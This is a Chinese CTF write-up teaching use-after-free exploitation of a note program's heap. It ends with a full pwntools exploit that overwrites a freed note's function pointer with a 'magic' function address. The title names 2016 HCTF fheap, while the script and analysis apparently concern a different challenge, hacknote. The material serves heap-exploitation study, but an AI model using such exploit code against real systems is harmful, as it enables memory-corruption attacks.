初探UAF漏洞:2016 HCTF fheap

参考链接:CTF_wiki
讨论qq群:946220807,欢迎大佬来指导

UAF

刚学堆,学到了UAF(use after free)漏洞,UAF本质是free后,并没有把指针指向null,导致free后,指针还可被使用。用2016 HCTF fheap来说明一下。题目也在参考链接里。

分析

看到这个程序实现了3个功能,add note,delete not,print note。
初探UAF漏洞:2016 HCTF fheap_第1张图片
在add_note函数中找到了malloc函数,可以看出,最多只能添加5个note。
初探UAF漏洞:2016 HCTF fheap_第2张图片
并且每个note都会先malloc(8)。前四个字节是put,指向print_note_content函数,用来打印content,后四个字节是content,存放着内容。并且content也是由malloc分配。
在这里插入图片描述
再看看del_note函数。可以看到这里free了两次,第一次free掉note->content。第二次free掉note。我们发现并没有把note置null。导致free后我们还可以再次使用。
初探UAF漏洞:2016 HCTF fheap_第3张图片
而且还发现了magic函数。
初探UAF漏洞:2016 HCTF fheap_第4张图片

利用方式

  1. 存在UAF漏洞。
  2. 首先分配note0,content大小为32字节。
  3. 再次分配note1,content大小为32字节。
  4. free(note0),存入fast bin chunk(fastbins 是单向链表)
  5. free(note1),存入fast bin chunk
  6. 再次分配note2,content大小为8字节。因为note1是最后free的,所以应该在fastbin的末尾,当分配note2时,第一个malloc会先把note1的八个字节拿过来,当第二次malloc(8)的时候,会把note0的八个字节拿过来,因为当malloc的时候,首先会匹配大小相同的chunk。
  7. 此时,note2的content指向note0->put。我们在note2的content输入magic的地址,则覆盖note0->put的地址,即当我们调用note->put打印消息时,就会调用magci函数。

exp

自己定义了一个flag文件。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

r = process('./hacknote')

def addnote(size, content):
    r.recvuntil("")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))


def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

magic = 0x08048986

addnote(32, "aaaa")#分配note0
addnote(32, "bbbb")#分配note1

delnote(0)#free(note0)
delnote(1)#free(note1)

addnote(8, p32(magic))#覆盖note0->put

printnote(0)#调用note0->put,则调用magic函数

r.interactive()

初探UAF漏洞:2016 HCTF fheap_第5张图片
若有哪里错误,望指正!

你可能感兴趣的:(pwn)